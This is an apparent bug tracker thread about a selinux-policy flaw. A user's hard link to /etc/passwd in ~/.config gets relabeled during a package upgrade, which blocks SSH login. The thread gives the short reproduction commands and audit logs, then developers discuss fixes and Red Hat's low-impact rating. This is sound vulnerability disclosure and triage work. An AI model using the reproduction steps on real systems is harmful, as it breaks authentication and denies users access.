The following issue was reported against selinux-policy: Make sure that the selinux-policy-targeted package is not up-to-date when you start. You also need to set the sysctl fs.protected_hardlinks to 0. (If I recall correctly, the relabel code has a race, so you will still be able to exploit it even with protected hard links/symbolic links, it's just more difficult.) $ cd $ mkdir .config $ cd .config $ ln /etc/passwd $ ls -lZ passwd -rw-r--r--. root root system_u:object_r:passwd_file_t:s0 passwd And as root: # yum upgrade selinux-policy-targeted Back as the user: $ ls -lZ passwd -rw-r--r--. root root system_u:object_r:config_home_t:s0 passwd $ ls -lZ /etc/passwd -rw-r--r--. root root system_u:object_r:config_home_t:s0 /etc/passwd This prevents login with SSH, among other things: type=SYSCALL msg=audit(1430136061.901:101): arch=c000003e syscall=2 success=no exit=-13 a0=7fee52cc1d8a a1=80000 a2=1b6 a3=0 items=0 ppid=4899 pid=4900 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="unix_chkpwd" exe="/usr/sbin/unix_chkpwd" subj=system_u:system_r:chkpwd_t:s0-s0:c0.c1023 key=(null) type=AVC msg=audit(1430136061.901:101): avc: denied { read } for pid=4900 comm="unix_chkpwd" name="passwd" dev="dm-1" ino=69128317 scontext=system_u:system_r:chkpwd_t:s0-s0:c0.c1023 tcontext=system_u:object_r:config_home_t:s0 tclass=file The cause is easily identified, at the bottom of the “rpm -q --scripts selinux-policy-targeted” output: if /sbin/restorecon -R /home/*/.config 2> /dev/null;then continue; fi;fi;exit 0 This particularly easy exploit vector was introduced in this spec file commit for RHEL 7: commit 5eea0f4403c4b8b3ef3ece9584c103e098048c64 Author: Dan Walsh <dwalsh> Date: Wed Feb 20 14:12:19 2013 +0100 Always run restorecon at install time to make sure key files are labeled correctly The underlying issue is older, and also affects RHEL 6, but exploiting it there is more difficult because you need a policy update which relabels a user-writable part of the file system, and I suppose those are rare. Acknowledgements: This issue was discovered by Florian Weimer of Red Hat Product Security.
Yes and this is a reason why you would not use hardlinks. restorecon is not able to tell you about multiple hard links with conflicting matches. Not sure if we still need to have restorecon calling if we have filename transitions rules.
How would you create the hardlink without fs.protected_hardlinks=0 ? You can still shoot your own foot as root but as a regular user you could not create the hardlink.
(In reply to Tomas Mraz from comment #2) > How would you create the hardlink without fs.protected_hardlinks=0 ? As far as I know, we still support running with fs.protected_hardlinks=0. Even with protected hardlinks, this bug is still there, it is just more difficult to demonstrate that it is bad.
One change would be to only allow restorecon/setfiles on files with out links. And require -f to override this. Do we have a list of know linked files?
(In reply to Daniel Walsh from comment #4) > One change would be to only allow restorecon/setfiles on files with out > links. And require -f to override this. > > Do we have a list of know linked files? I'm not aware of such a list. Florian stated: "This is a property of the customer file system. We don't know what will be there.". That makes sense to me - so I guess relying on a list is not the path to go.
I am thinking if we had a known list of linked files in the distribution, then we could allow restorecon to relabel those, or at least check to make sure they have the same label, when it finds one. I think the only way to prevent the customer having links problem is to not fix labels by default on multi-linked files. I believe in the latest kernel we can prevent users from Hard Linking to files that are not owned by the user, which adds some protection.
Another useful input from Florian; "The full fix involves opening files with O_PATH and checking that the link count is 1 before changing their file context. This is not possible with the glibc file traversal helper being used, so it requires major surgery on the code (but it's still doable as a security update)." Do you think you can rework the code?
Statement: Red Hat Product Security has rated this issue as having Low security impact. This issue is not currently planned to be addressed in future updates. For additional information, refer to the Issue Severity Classification: https://access.redhat.com/security/updates/classification/.